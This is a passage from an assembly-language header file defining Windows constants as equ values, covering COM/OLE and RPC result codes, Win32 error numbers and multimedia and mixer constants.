MK_E_NOOBJECT equ 800401E5h
MK_E_INVALIDEXTENSION equ 800401E6h
MK_E_INTERMEDIATEINTERFACENOTSUPPORTED equ 800401E7h
MK_E_NOTBINDABLE equ 800401E8h
MK_E_NOTBOUND equ 800401E9h
MK_E_CANTOPENFILE equ 800401EAh
MK_E_MUSTBOTHERUSER equ 800401EBh
MK_E_NOINVERSE equ 800401ECh
MK_E_NOSTORAGE equ 800401EDh
MK_E_NOPREFIX equ 800401EEh
MK_E_ENUMERATION_FAILED equ 800401EFh
CO_E_FIRST equ 800401F0h
CO_E_LAST equ 800401FFh
CO_S_FIRST equ 401F0h
CO_S_LAST equ 401FFh
CO_E_NOTINITIALIZED equ 800401F0h
CO_E_ALREADYINITIALIZED equ 800401F1h
CO_E_CANTDETERMINECLASS equ 800401F2h
CO_E_CLASSSTRING equ 800401F3h
CO_E_IIDSTRING equ 800401F4h
CO_E_APPNOTFOUND equ 800401F5h
CO_E_APPSINGLEUSE equ 800401F6h
CO_E_ERRORINAPP equ 800401F7h
CO_E_DLLNOTFOUND equ 800401F8h
CO_E_ERRORINDLL equ 800401F9h
CO_E_WRONGOSFORAPP equ 800401FAh
CO_E_OBJNOTREG equ 800401FBh
CO_E_OBJISREG equ 800401FCh
CO_E_OBJNOTCONNECTED equ 800401FDh
CO_E_APPDIDNTREG equ 800401FEh
CO_E_RELEASED equ 800401FFh
OLE_S_USEREG equ 40000h
OLE_S_STATIC equ 40001h
OLE_S_MAC_CLIPFORMAT equ 40002h
DRAGDROP_S_DROP equ 40100h
DRAGDROP_S_CANCEL equ 40101h
DRAGDROP_S_USEDEFAULTCURSORS equ 40102h
DATA_S_SAMEFORMATETC equ 40130h
VIEW_S_ALREADY_FROZEN equ 40140h
CACHE_S_FORMATETC_NOTSUPPORTED equ 40170h
CACHE_S_SAMECACHE equ 40171h
CACHE_S_SOMECACHES_NOTUPDATED equ 40172h
OLEOBJ_S_INVALIDVERB equ 40180h
OLEOBJ_S_CANNOT_DOVERB_NOW equ 40181h
OLEOBJ_S_INVALIDHWND equ 40182h
INPLACE_S_TRUNCATED equ 401A0h
CONVERT10_S_NO_PRESENTATION equ 401C0h
MK_S_REDUCED_TO_SELF equ 401E2h
MK_S_ME equ 401E4h
MK_S_HIM equ 401E5h
MK_S_US equ 401E6h
MK_S_MONIKERALREADYREGISTERED equ 401E7h
CO_E_CLASS_CREATE_FAILED equ 80080001h
CO_E_SCM_ERROR equ 80080002h
CO_E_SCM_RPC_FAILURE equ 80080003h
CO_E_BAD_PATH equ 80080004h
CO_E_SERVER_EXEC_FAILURE equ 80080005h
CO_E_OBJSRV_RPC_FAILURE equ 80080006h
MK_E_NO_NORMALIZED equ 80080007h
CO_E_SERVER_STOPPING equ 80080008h
MEM_E_INVALID_ROOT equ 80080009h
MEM_E_INVALID_LINK equ 80080010h
MEM_E_INVALID_SIZE equ 80080011h
DISP_E_UNKNOWNINTERFACE equ 80020001h
DISP_E_MEMBERNOTFOUND equ 80020003h
DISP_E_PARAMNOTFOUND equ 80020004h
DISP_E_TYPEMISMATCH equ 80020005h
DISP_E_UNKNOWNNAME equ 80020006h
DISP_E_NONAMEDARGS equ 80020007h
DISP_E_BADVARTYPE equ 80020008h
DISP_E_EXCEPTION equ 80020009h
DISP_E_OVERFLOW equ 8002000Ah
DISP_E_BADINDEX equ 8002000Bh
DISP_E_UNKNOWNLCID equ 8002000Ch
DISP_E_ARRAYISLOCKED equ 8002000Dh
DISP_E_BADPARAMCOUNT equ 8002000Eh
DISP_E_PARAMNOTOPTIONAL equ 8002000Fh
DISP_E_BADCALLEE equ 80020010h
DISP_E_NOTACOLLECTION equ 80020011h
TYPE_E_BUFFERTOOSMALL equ 80028016h
TYPE_E_INVDATAREAD equ 80028018h
TYPE_E_UNSUPFORMAT equ 80028019h
TYPE_E_REGISTRYACCESS equ 8002801Ch
TYPE_E_LIBNOTREGISTERED equ 8002801Dh
TYPE_E_UNDEFINEDTYPE equ 80028027h
TYPE_E_QUALIFIEDNAMEDISALLOWED equ 80028028h
TYPE_E_INVALIDSTATE equ 80028029h
TYPE_E_WRONGTYPEKIND equ 8002802Ah
TYPE_E_ELEMENTNOTFOUND equ 8002802Bh
TYPE_E_AMBIGUOUSNAME equ 8002802Ch
TYPE_E_NAMECONFLICT equ 8002802Dh
TYPE_E_UNKNOWNLCID equ 8002802Eh
TYPE_E_DLLFUNCTIONNOTFOUND equ 8002802Fh
TYPE_E_BADMODULEKIND equ 800288BDh
TYPE_E_SIZETOOBIG equ 800288C5h
TYPE_E_DUPLICATEID equ 800288C6h
TYPE_E_INVALIDID equ 800288CFh
TYPE_E_TYPEMISMATCH equ 80028CA0h
TYPE_E_OUTOFBOUNDS equ 80028CA1h
TYPE_E_IOERROR equ 80028CA2h
TYPE_E_CANTCREATETMPFILE equ 80028CA3h
TYPE_E_CANTLOADLIBRARY equ 80029C4Ah
TYPE_E_INCONSISTENTPROPFUNCS equ 80029C83h
TYPE_E_CIRCULARTYPE equ 80029C84h
STG_E_INVALIDFUNCTION equ 80030001h
STG_E_FILENOTFOUND equ 80030002h
STG_E_PATHNOTFOUND equ 80030003h
STG_E_TOOMANYOPENFILES equ 80030004h
STG_E_ACCESSDENIED equ 80030005h
STG_E_INVALIDHANDLE equ 80030006h
STG_E_INSUFFICIENTMEMORY equ 80030008h
STG_E_INVALIDPOINTER equ 80030009h
STG_E_NOMOREFILES equ 80030012h
STG_E_DISKISWRITEPROTECTED equ 80030013h
STG_E_SEEKERROR equ 80030019h
STG_E_WRITEFAULT equ 8003001Dh
STG_E_READFAULT equ 8003001Eh
STG_E_SHAREVIOLATION equ 80030020h
STG_E_LOCKVIOLATION equ 80030021h
STG_E_FILEALREADYEXISTS equ 80030050h
STG_E_INVALIDPARAMETER equ 80030057h
STG_E_MEDIUMFULL equ 80030070h
STG_E_ABNORMALAPIEXIT equ 800300FAh
STG_E_INVALIDHEADER equ 800300FBh
STG_E_INVALIDNAME equ 800300FCh
STG_E_UNKNOWN equ 800300FDh
STG_E_UNIMPLEMENTEDFUNCTION equ 800300FEh
STG_E_INVALIDFLAG equ 800300FFh
STG_E_INUSE equ 80030100h
STG_E_NOTCURRENT equ 80030101h
STG_E_REVERTED equ 80030102h
STG_E_CANTSAVE equ 80030103h
STG_E_OLDFORMAT equ 80030104h
STG_E_OLDDLL equ 80030105h
STG_E_SHAREREQUIRED equ 80030106h
STG_E_NOTFILEBASEDSTORAGE equ 80030107h
STG_E_EXTANTMARSHALLINGS equ 80030108h
STG_S_CONVERTED equ 30200h
RPC_E_CALL_REJECTED equ 80010001h
RPC_E_CALL_CANCELED equ 80010002h
RPC_E_CANTPOST_INSENDCALL equ 80010003h
RPC_E_CANTCALLOUT_INASYNCCALL equ 80010004h
RPC_E_CANTCALLOUT_INEXTERNALCALL equ 80010005h
RPC_E_CONNECTION_TERMINATED equ 80010006h
RPC_E_SERVER_DIED equ 80010007h
RPC_E_CLIENT_DIED equ 80010008h
RPC_E_INVALID_DATAPACKET equ 80010009h
RPC_E_CANTTRANSMIT_CALL equ 8001000Ah
RPC_E_CLIENT_CANTMARSHAL_DATA equ 8001000Bh
RPC_E_CLIENT_CANTUNMARSHAL_DATA equ 8001000Ch
RPC_E_SERVER_CANTMARSHAL_DATA equ 8001000Dh
RPC_E_SERVER_CANTUNMARSHAL_DATA equ 8001000Eh
RPC_E_INVALID_DATA equ 8001000Fh
RPC_E_INVALID_PARAMETER equ 80010010h
RPC_E_CANTCALLOUT_AGAIN equ 80010011h
RPC_E_SERVER_DIED_DNE equ 80010012h
RPC_E_SYS_CALL_FAILED equ 80010100h
RPC_E_OUT_OF_RESOURCES equ 80010101h
RPC_E_ATTEMPTED_MULTITHREAD equ 80010102h
RPC_E_NOT_REGISTERED equ 80010103h
RPC_E_FAULT equ 80010104h
RPC_E_SERVERFAULT equ 80010105h
RPC_E_CHANGED_MODE equ 80010106h
RPC_E_INVALIDMETHOD equ 80010107h
RPC_E_DISCONNECTED equ 80010108h
RPC_E_RETRY equ 80010109h
RPC_E_SERVERCALL_RETRYLATER equ 8001010Ah
RPC_E_SERVERCALL_REJECTED equ 8001010Bh
RPC_E_INVALID_CALLDATA equ 8001010Ch
RPC_E_CANTCALLOUT_ININPUTSYNCCALL equ 8001010Dh
RPC_E_WRONG_THREAD equ 8001010Eh
RPC_E_THREAD_NOT_INIT equ 8001010Fh
RPC_E_UNEXPECTED equ 8001FFFFh
ERROR_BAD_USERNAME equ 2202
ERROR_NOT_CONNECTED equ 2250
ERROR_OPEN_FILES equ 2401
ERROR_DEVICE_IN_USE equ 2404
ERROR_BAD_DEVICE equ 1200
ERROR_CONNECTION_UNAVAIL equ 1201
ERROR_DEVICE_ALREADY_REMEMBERED equ 1202
ERROR_NO_NET_OR_BAD_PATH equ 1203
ERROR_BAD_PROVIDER equ 1204
ERROR_CANNOT_OPEN_PROFILE equ 1205
ERROR_BAD_PROFILE equ 1206
ERROR_NOT_CONTAINER equ 1207
ERROR_EXTENDED_ERROR equ 1208
ERROR_INVALID_GROUPNAME equ 1209
ERROR_INVALID_COMPUTERNAME equ 1210
ERROR_INVALID_EVENTNAME equ 1211
ERROR_INVALID_DOMAINNAME equ 1212
ERROR_INVALID_SERVICENAME equ 1213
ERROR_INVALID_NETNAME equ 1214
ERROR_INVALID_SHARENAME equ 1215
ERROR_INVALID_PASSWORDNAME equ 1216
ERROR_INVALID_MESSAGENAME equ 1217
ERROR_INVALID_MESSAGEDEST equ 1218
ERROR_SESSION_CREDENTIAL_CONFLICT equ 1219
ERROR_REMOTE_SESSION_LIMIT_EXCEEDED equ 1220
ERROR_DUP_DOMAINNAME equ 1221
ERROR_NO_NETWORK equ 1222
ERROR_NOT_ALL_ASSIGNED equ 1300
ERROR_SOME_NOT_MAPPED equ 1301
ERROR_NO_QUOTAS_FOR_ACCOUNT equ 1302
ERROR_LOCAL_USER_SESSION_KEY equ 1303
ERROR_NULL_LM_PASSWORD equ 1304
ERROR_UNKNOWN_REVISION equ 1305
ERROR_REVISION_MISMATCH equ 1306
ERROR_INVALID_OWNER equ 1307
ERROR_INVALID_PRIMARY_GROUP equ 1308
ERROR_NO_IMPERSONATION_TOKEN equ 1309
ERROR_CANT_DISABLE_MANDATORY equ 1310
ERROR_NO_LOGON_SERVERS equ 1311
ERROR_NO_SUCH_LOGON_SESSION equ 1312
ERROR_NO_SUCH_PRIVILEGE equ 1313
ERROR_PRIVILEGE_NOT_HELD equ 1314
ERROR_INVALID_ACCOUNT_NAME equ 1315
ERROR_USER_EXISTS equ 1316
ERROR_NO_SUCH_USER equ 1317
ERROR_GROUP_EXISTS equ 1318
ERROR_NO_SUCH_GROUP equ 1319
ERROR_MEMBER_IN_GROUP equ 1320
ERROR_MEMBER_NOT_IN_GROUP equ 1321
ERROR_LAST_ADMIN equ 1322
ERROR_WRONG_PASSWORD equ 1323
ERROR_ILL_FORMED_PASSWORD equ 1324
ERROR_PASSWORD_RESTRICTION equ 1325
ERROR_LOGON_FAILURE equ 1326
ERROR_ACCOUNT_RESTRICTION equ 1327
ERROR_INVALID_LOGON_HOURS equ 1328
ERROR_INVALID_WORKSTATION equ 1329
ERROR_PASSWORD_EXPIRED equ 1330
ERROR_ACCOUNT_DISABLED equ 1331
ERROR_NONE_MAPPED equ 1332
ERROR_TOO_MANY_LUIDS_REQUESTED equ 1333
ERROR_LUIDS_EXHAUSTED equ 1334
ERROR_INVALID_SUB_AUTHORITY equ 1335
ERROR_INVALID_ACL equ 1336
ERROR_INVALID_SID equ 1337
ERROR_INVALID_SECURITY_DESCR equ 1338
ERROR_BAD_INHERITANCE_ACL equ 1340
ERROR_SERVER_DISABLED equ 1341
ERROR_SERVER_NOT_DISABLED equ 1342
ERROR_INVALID_ID_AUTHORITY equ 1343
ERROR_ALLOTTED_SPACE_EXCEEDED equ 1344
ERROR_INVALID_GROUP_ATTRIBUTES equ 1345
ERROR_BAD_IMPERSONATION_LEVEL equ 1346
ERROR_CANT_OPEN_ANONYMOUS equ 1347
ERROR_BAD_VALIDATION_CLASS equ 1348
ERROR_BAD_TOKEN_TYPE equ 1349
ERROR_NO_SECURITY_ON_OBJECT equ 1350
ERROR_CANT_ACCESS_DOMAIN_INFO equ 1351
ERROR_INVALID_SERVER_STATE equ 1352
ERROR_INVALID_DOMAIN_STATE equ 1353
ERROR_INVALID_DOMAIN_ROLE equ 1354
ERROR_NO_SUCH_DOMAIN equ 1355
ERROR_DOMAIN_EXISTS equ 1356
ERROR_DOMAIN_LIMIT_EXCEEDED equ 1357
ERROR_INTERNAL_DB_CORRUPTION equ 1358
ERROR_INTERNAL_ERROR equ 1359
ERROR_GENERIC_NOT_MAPPED equ 1360
ERROR_BAD_DESCRIPTOR_FORMAT equ 1361
ERROR_NOT_LOGON_PROCESS equ 1362
ERROR_LOGON_SESSION_EXISTS equ 1363
ERROR_NO_SUCH_PACKAGE equ 1364
ERROR_BAD_LOGON_SESSION_STATE equ 1365
ERROR_LOGON_SESSION_COLLISION equ 1366
ERROR_INVALID_LOGON_TYPE equ 1367
ERROR_CANNOT_IMPERSONATE equ 1368
ERROR_RXACT_INVALID_STATE equ 1369
ERROR_RXACT_COMMIT_FAILURE equ 1370
ERROR_SPECIAL_ACCOUNT equ 1371
ERROR_SPECIAL_GROUP equ 1372
ERROR_SPECIAL_USER equ 1373
ERROR_MEMBERS_PRIMARY_GROUP equ 1374
ERROR_TOKEN_ALREADY_IN_USE equ 1375
ERROR_NO_SUCH_ALIAS equ 1376
ERROR_MEMBER_NOT_IN_ALIAS equ 1377
ERROR_MEMBER_IN_ALIAS equ 1378
ERROR_ALIAS_EXISTS equ 1379
ERROR_LOGON_NOT_GRANTED equ 1380
ERROR_TOO_MANY_SECRETS equ 1381
ERROR_SECRET_TOO_LONG equ 1382
ERROR_INTERNAL_DB_ERROR equ 1383
ERROR_TOO_MANY_CONTEXT_IDS equ 1384
ERROR_LOGON_TYPE_NOT_GRANTED equ 1385
ERROR_NT_CROSS_ENCRYPTION_REQUIRED equ 1386
ERROR_NO_SUCH_MEMBER equ 1387
ERROR_INVALID_MEMBER equ 1388
ERROR_TOO_MANY_SIDS equ 1389
ERROR_LM_CROSS_ENCRYPTION_REQUIRED equ 1390
ERROR_NO_INHERITANCE equ 1391
ERROR_FILE_CORRUPT equ 1392
ERROR_DISK_CORRUPT equ 1393
ERROR_NO_USER_SESSION_KEY equ 1394
ERROR_INVALID_WINDOW_HANDLE equ 1400
ERROR_INVALID_MENU_HANDLE equ 1401
ERROR_INVALID_CURSOR_HANDLE equ 1402
ERROR_INVALID_ACCEL_HANDLE equ 1403
ERROR_INVALID_HOOK_HANDLE equ 1404
ERROR_INVALID_DWP_HANDLE equ 1405
ERROR_TLW_WITH_WSCHILD equ 1406
ERROR_CANNOT_FIND_WND_CLASS equ 1407
ERROR_WINDOW_OF_OTHER_THREAD equ 1408
ERROR_HOTKEY_ALREADY_REGISTERED equ 1409
ERROR_CLASS_ALREADY_EXISTS equ 1410
ERROR_CLASS_DOES_NOT_EXIST equ 1411
ERROR_CLASS_HAS_WINDOWS equ 1412
ERROR_INVALID_INDEX equ 1413
ERROR_INVALID_ICON_HANDLE equ 1414
ERROR_PRIVATE_DIALOG_INDEX equ 1415
ERROR_LISTBOX_ID_NOT_FOUND equ 1416
ERROR_NO_WILDCARD_CHARACTERS equ 1417
ERROR_CLIPBOARD_NOT_OPEN equ 1418
ERROR_HOTKEY_NOT_REGISTERED equ 1419
ERROR_WINDOW_NOT_DIALOG equ 1420
ERROR_CONTROL_ID_NOT_FOUND equ 1421
ERROR_INVALID_COMBOBOX_MESSAGE equ 1422
ERROR_WINDOW_NOT_COMBOBOX equ 1423
ERROR_INVALID_EDIT_HEIGHT equ 1424
ERROR_DC_NOT_FOUND equ 1425
ERROR_INVALID_HOOK_FILTER equ 1426
ERROR_INVALID_FILTER_PROC equ 1427
ERROR_HOOK_NEEDS_HMOD equ 1428
ERROR_PUBLIC_ONLY_HOOK equ 1429
ERROR_JOURNAL_HOOK_SET equ 1430
ERROR_HOOK_NOT_INSTALLED equ 1431
ERROR_INVALID_LB_MESSAGE equ 1432
ERROR_SETCOUNT_ON_BAD_LB equ 1433
ERROR_LB_WITHOUT_TABSTOPS equ 1434
ERROR_DESTROY_OBJECT_OF_OTHER_THREAD equ 1435
ERROR_CHILD_WINDOW_MENU equ 1436
ERROR_NO_SYSTEM_MENU equ 1437
ERROR_INVALID_MSGBOX_STYLE equ 1438
ERROR_INVALID_SPI_VALUE equ 1439
ERROR_SCREEN_ALREADY_LOCKED equ 1440
ERROR_HWNDS_HAVE_DIFF_PARENT equ 1441
ERROR_NOT_CHILD_WINDOW equ 1442
ERROR_INVALID_GW_COMMAND equ 1443
ERROR_INVALID_THREAD_ID equ 1444
ERROR_NON_MDICHILD_WINDOW equ 1445
ERROR_POPUP_ALREADY_ACTIVE equ 1446
ERROR_NO_SCROLLBARS equ 1447
ERROR_INVALID_SCROLLBAR_RANGE equ 1448
ERROR_INVALID_SHOWWIN_COMMAND equ 1449
ERROR_EVENTLOG_FILE_CORRUPT equ 1500
ERROR_EVENTLOG_CANT_START equ 1501
ERROR_LOG_FILE_FULL equ 1502
ERROR_EVENTLOG_FILE_CHANGED equ 1503
RPC_S_INVALID_STRING_BINDING equ 1700
RPC_S_WRONG_KIND_OF_BINDING equ 1701
RPC_S_INVALID_BINDING equ 1702
RPC_S_PROTSEQ_NOT_SUPPORTED equ 1703
RPC_S_INVALID_RPC_PROTSEQ equ 1704
RPC_S_INVALID_STRING_UUID equ 1705
RPC_S_INVALID_ENDPOINT_FORMAT equ 1706
RPC_S_INVALID_NET_ADDR equ 1707
RPC_S_NO_ENDPOINT_FOUND equ 1708
RPC_S_INVALID_TIMEOUT equ 1709
RPC_S_OBJECT_NOT_FOUND equ 1710
RPC_S_ALREADY_REGISTERED equ 1711
RPC_S_TYPE_ALREADY_REGISTERED equ 1712
RPC_S_ALREADY_LISTENING equ 1713
RPC_S_NO_PROTSEQS_REGISTERED equ 1714
RPC_S_NOT_LISTENING equ 1715
RPC_S_UNKNOWN_MGR_TYPE equ 1716
RPC_S_UNKNOWN_IF equ 1717
RPC_S_NO_BINDINGS equ 1718
RPC_S_NO_PROTSEQS equ 1719
RPC_S_CANT_CREATE_ENDPOINT equ 1720
RPC_S_OUT_OF_RESOURCES equ 1721
RPC_S_SERVER_UNAVAILABLE equ 1722
RPC_S_SERVER_TOO_BUSY equ 1723
RPC_S_INVALID_NETWORK_OPTIONS equ 1724
RPC_S_NO_CALL_ACTIVE equ 1725
RPC_S_CALL_FAILED equ 1726
RPC_S_CALL_FAILED_DNE equ 1727
RPC_S_PROTOCOL_ERROR equ 1728
RPC_S_UNSUPPORTED_TRANS_SYN equ 1730
RPC_S_UNSUPPORTED_TYPE equ 1732
RPC_S_INVALID_TAG equ 1733
RPC_S_INVALID_BOUND equ 1734
RPC_S_NO_ENTRY_NAME equ 1735
RPC_S_INVALID_NAME_SYNTAX equ 1736
RPC_S_UNSUPPORTED_NAME_SYNTAX equ 1737
RPC_S_UUID_NO_ADDRESS equ 1739
RPC_S_DUPLICATE_ENDPOINT equ 1740
RPC_S_UNKNOWN_AUTHN_TYPE equ 1741
RPC_S_MAX_CALLS_TOO_SMALL equ 1742
RPC_S_STRING_TOO_LONG equ 1743
RPC_S_PROTSEQ_NOT_FOUND equ 1744
RPC_S_PROCNUM_OUT_OF_RANGE equ 1745
RPC_S_BINDING_HAS_NO_AUTH equ 1746
RPC_S_UNKNOWN_AUTHN_SERVICE equ 1747
RPC_S_UNKNOWN_AUTHN_LEVEL equ 1748
RPC_S_INVALID_AUTH_IDENTITY equ 1749
RPC_S_UNKNOWN_AUTHZ_SERVICE equ 1750
EPT_S_INVALID_ENTRY equ 1751
EPT_S_CANT_PERFORM_OP equ 1752
EPT_S_NOT_REGISTERED equ 1753
RPC_S_NOTHING_TO_EXPORT equ 1754
RPC_S_INCOMPLETE_NAME equ 1755
RPC_S_INVALID_VERS_OPTION equ 1756
RPC_S_NO_MORE_MEMBERS equ 1757
RPC_S_NOT_ALL_OBJS_UNEXPORTED equ 1758
RPC_S_INTERFACE_NOT_FOUND equ 1759
RPC_S_ENTRY_ALREADY_EXISTS equ 1760
RPC_S_ENTRY_NOT_FOUND equ 1761
RPC_S_NAME_SERVICE_UNAVAILABLE equ 1762
RPC_S_INVALID_NAF_ID equ 1763
RPC_S_CANNOT_SUPPORT equ 1764
RPC_S_NO_CONTEXT_AVAILABLE equ 1765
RPC_S_INTERNAL_ERROR equ 1766
RPC_S_ZERO_DIVIDE equ 1767
RPC_S_ADDRESS_ERROR equ 1768
RPC_S_FP_DIV_ZERO equ 1769
RPC_S_FP_UNDERFLOW equ 1770
RPC_S_FP_OVERFLOW equ 1771
RPC_X_NO_MORE_ENTRIES equ 1772
RPC_X_SS_CHAR_TRANS_OPEN_FAIL equ 1773
RPC_X_SS_CHAR_TRANS_SHORT_FILE equ 1774
RPC_X_SS_IN_NULL_CONTEXT equ 1775
RPC_X_SS_CONTEXT_DAMAGED equ 1777
RPC_X_SS_HANDLES_MISMATCH equ 1778
RPC_X_SS_CANNOT_GET_CALL_HANDLE equ 1779
RPC_X_NULL_REF_POINTER equ 1780
RPC_X_ENUM_VALUE_OUT_OF_RANGE equ 1781
RPC_X_BYTE_COUNT_TOO_SMALL equ 1782
RPC_X_BAD_STUB_DATA equ 1783
ERROR_INVALID_USER_BUFFER equ 1784
ERROR_UNRECOGNIZED_MEDIA equ 1785
ERROR_NO_TRUST_LSA_SECRET equ 1786
ERROR_NO_TRUST_SAM_ACCOUNT equ 1787
ERROR_TRUSTED_DOMAIN_FAILURE equ 1788
ERROR_TRUSTED_RELATIONSHIP_FAILURE equ 1789
ERROR_TRUST_FAILURE equ 1790
RPC_S_CALL_IN_PROGRESS equ 1791
ERROR_NETLOGON_NOT_STARTED equ 1792
ERROR_ACCOUNT_EXPIRED equ 1793
ERROR_REDIRECTOR_HAS_OPEN_HANDLES equ 1794
ERROR_PRINTER_DRIVER_ALREADY_INSTALLED equ 1795
ERROR_UNKNOWN_PORT equ 1796
ERROR_UNKNOWN_PRINTER_DRIVER equ 1797
ERROR_UNKNOWN_PRINTPROCESSOR equ 1798
ERROR_INVALID_SEPARATOR_FILE equ 1799
ERROR_INVALID_PRIORITY equ 1800
ERROR_INVALID_PRINTER_NAME equ 1801
ERROR_PRINTER_ALREADY_EXISTS equ 1802
ERROR_INVALID_PRINTER_COMMAND equ 1803
ERROR_INVALID_DATATYPE equ 1804
ERROR_INVALID_ENVIRONMENT equ 1805
RPC_S_NO_MORE_BINDINGS equ 1806
ERROR_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT equ 1807
ERROR_NOLOGON_WORKSTATION_TRUST_ACCOUNT equ 1808
ERROR_NOLOGON_SERVER_TRUST_ACCOUNT equ 1809
ERROR_DOMAIN_TRUST_INCONSISTENT equ 1810
ERROR_SERVER_HAS_OPEN_HANDLES equ 1811
ERROR_RESOURCE_DATA_NOT_FOUND equ 1812
ERROR_RESOURCE_TYPE_NOT_FOUND equ 1813
ERROR_RESOURCE_NAME_NOT_FOUND equ 1814
ERROR_RESOURCE_LANG_NOT_FOUND equ 1815
ERROR_NOT_ENOUGH_QUOTA equ 1816
RPC_S_GROUP_MEMBER_NOT_FOUND equ 1898
EPT_S_CANT_CREATE equ 1899
RPC_S_INVALID_OBJECT equ 1900
ERROR_INVALID_TIME equ 1901
ERROR_INVALID_FORM_NAME equ 1902
ERROR_INVALID_FORM_SIZE equ 1903
ERROR_ALREADY_WAITING equ 1904
ERROR_PRINTER_DELETED equ 1905
ERROR_INVALID_PRINTER_STATE equ 1906
ERROR_NO_BROWSER_SERVERS_FOUND equ 6118
MAXPNAMELEN equ 32
MAXERRORLENGTH equ 128
TIME_MS equ 1h
TIME_SAMPLES equ 2h
TIME_BYTES equ 4h
TIME_SMPTE equ 8h
TIME_MIDI equ 10h
MM_JOY1MOVE equ 3A0h
MM_JOY2MOVE equ 3A1h
MM_JOY1ZMOVE equ 3A2h
MM_JOY2ZMOVE equ 3A3h
MM_JOY1BUTTONDOWN equ 3B5h
MM_JOY2BUTTONDOWN equ 3B6h
MM_JOY1BUTTONUP equ 3B7h
MM_JOY2BUTTONUP equ 3B8h
MM_MCINOTIFY equ 3B9h
MM_MCISYSTEM_STRING equ 3CAh
MM_WOM_OPEN equ 3BBh
MM_WOM_CLOSE equ 3BCh
MM_WOM_DONE equ 3BDh
MM_WIM_OPEN equ 3BEh
MM_WIM_CLOSE equ 3BFh
MM_WIM_DATA equ 3C0h
MM_MIM_OPEN equ 3C1h
MM_MIM_CLOSE equ 3C2h
MM_MIM_DATA equ 3C3h
MM_MIM_LONGDATA equ 3C4h
MM_MIM_ERROR equ 3C5h
MM_MIM_LONGERROR equ 3C6h
MM_MOM_OPEN equ 3C7h
MM_MOM_CLOSE equ 3C8h
MM_MOM_DONE equ 3C9h
MMSYSERR_BASE equ 0
WAVERR_BASE equ 32
MIDIERR_BASE equ 64
TIMERR_BASE equ 96
JOYERR_BASE equ 160
MCIERR_BASE equ 256
MCI_STRING_OFFSET equ 512
MCI_VD_OFFSET equ 1024
MCI_CD_OFFSET equ 1088
MCI_WAVE_OFFSET equ 1152
MCI_SEQ_OFFSET equ 1216
MMSYSERR_NOERROR equ 0
MMSYSERR_ERROR equ MMSYSERR_BASE+1
MMSYSERR_BADDEVICEID equ MMSYSERR_BASE+2
MMSYSERR_NOTENABLED equ MMSYSERR_BASE+3
MMSYSERR_ALLOCATED equ MMSYSERR_BASE+4
MMSYSERR_INVALHANDLE equ MMSYSERR_BASE+5
MMSYSERR_NODRIVER equ MMSYSERR_BASE+6
MMSYSERR_NOMEM equ MMSYSERR_BASE+7
MMSYSERR_NOTSUPPORTED equ MMSYSERR_BASE+8
MMSYSERR_BADERRNUM equ MMSYSERR_BASE+9
MMSYSERR_INVALFLAG equ MMSYSERR_BASE+10
MMSYSERR_INVALPARAM equ MMSYSERR_BASE+11
MMSYSERR_HANDLEBUSY equ MMSYSERR_BASE+12
MMSYSERR_INVALIDALIAS equ MMSYSERR_BASE+13
MMSYSERR_LASTERROR equ MMSYSERR_BASE+13
MM_MOM_POSITIONCB equ 3CAh
MM_MCISIGNAL equ 3CBh
MM_MIM_MOREDATA equ 3CCh
MIDICAPS_STREAM equ 8h
MEVT_F_SHORT equ 0h
MEVT_F_LONG equ 80000000h
MEVT_F_CALLBACK equ 40000000h
MIDISTRM_ERROR equ -2
MIDIPROP_SET equ 80000000h
MIDIPROP_GET equ 40000000h
MIDIPROP_TIMEDIV equ 1h
MIDIPROP_TEMPO equ 2h
MIXER_SHORT_NAME_CHARS equ 16
MIXER_LONG_NAME_CHARS equ 64
MIXERR_BASE equ 1024
MIXERR_INVALLINE equ MIXERR_BASE+0
MIXERR_INVALCONTROL equ MIXERR_BASE+1
MIXERR_INVALVALUE equ MIXERR_BASE+2
MIXERR_LASTERROR equ MIXERR_BASE+2
MIXER_OBJECTF_HANDLE equ 80000000h
MIXER_OBJECTF_MIXER equ 0h
MIXER_OBJECTF_HMIXER equ MIXER_OBJECTF_HANDLE|MIXER_OBJECTF_MIXER
MIXER_OBJECTF_WAVEOUT equ 10000000h
MIXER_OBJECTF_HWAVEOUT equ MIXER_OBJECTF_HANDLE|MIXER_OBJECTF_WAVEOUT
MIXER_OBJECTF_WAVEIN equ 20000000h
MIXER_OBJECTF_HWAVEIN equ MIXER_OBJECTF_HANDLE|MIXER_OBJECTF_WAVEIN
MIXER_OBJECTF_MIDIOUT equ 30000000h
MIXER_OBJECTF_HMIDIOUT equ MIXER_OBJECTF_HANDLE|MIXER_OBJECTF_MIDIOUT
MIXER_OBJECTF_MIDIIN equ 40000000h
MIXER_OBJECTF_HMIDIIN equ MIXER_OBJECTF_HANDLE|MIXER_OBJECTF_MIDIIN
MIXER_OBJECTF_AUX equ 50000000h
MIXERLINE_LINEF_ACTIVE equ 1h
MIXERLINE_LINEF_DISCONNECTED equ 8000h
MIXERLINE_LINEF_SOURCE equ 80000000h
MIXERLINE_COMPONENTTYPE_DST_FIRST equ 0h
MIXERLINE_COMPONENTTYPE_DST_UNDEFINED equ MIXERLINE_COMPONENTTYPE_DST_FIRST+0
MIXERLINE_COMPONENTTYPE_DST_DIGITAL equ MIXERLINE_COMPONENTTYPE_DST_FIRST+1
MIXERLINE_COMPONENTTYPE_DST_LINE equ MIXERLINE_COMPONENTTYPE_DST_FIRST+2
MIXERLINE_COMPONENTTYPE_DST_MONITOR equ MIXERLINE_COMPONENTTYPE_DST_FIRST+3
MIXERLINE_COMPONENTTYPE_DST_SPEAKERS equ MIXERLINE_COMPONENTTYPE_DST_FIRST+4
MIXERLINE_COMPONENTTYPE_DST_HEADPHONES equ MIXERLINE_COMPONENTTYPE_DST_FIRST+5
MIXERLINE_COMPONENTTYPE_DST_TELEPHONE equ MIXERLINE_COMPONENTTYPE_DST_FIRST+6
MIXERLINE_COMPONENTTYPE_DST_WAVEIN equ MIXERLINE_COMPONENTTYPE_DST_FIRST+7
MIXERLINE_COMPONENTTYPE_DST_VOICEIN equ MIXERLINE_COMPONENTTYPE_DST_FIRST+8
MIXERLINE_COMPONENTTYPE_DST_LAST equ MIXERLINE_COMPONENTTYPE_DST_FIRST+8
MIXERLINE_COMPONENTTYPE_SRC_FIRST equ 1000h
MIXERLINE_COMPONENTTYPE_SRC_UNDEFINED equ MIXERLINE_COMPONENTTYPE_SRC_FIRST+0
MIXERLINE_COMPONENTTYPE_SRC_DIGITAL equ MIXERLINE_COMPONENTTYPE_SRC_FIRST+1
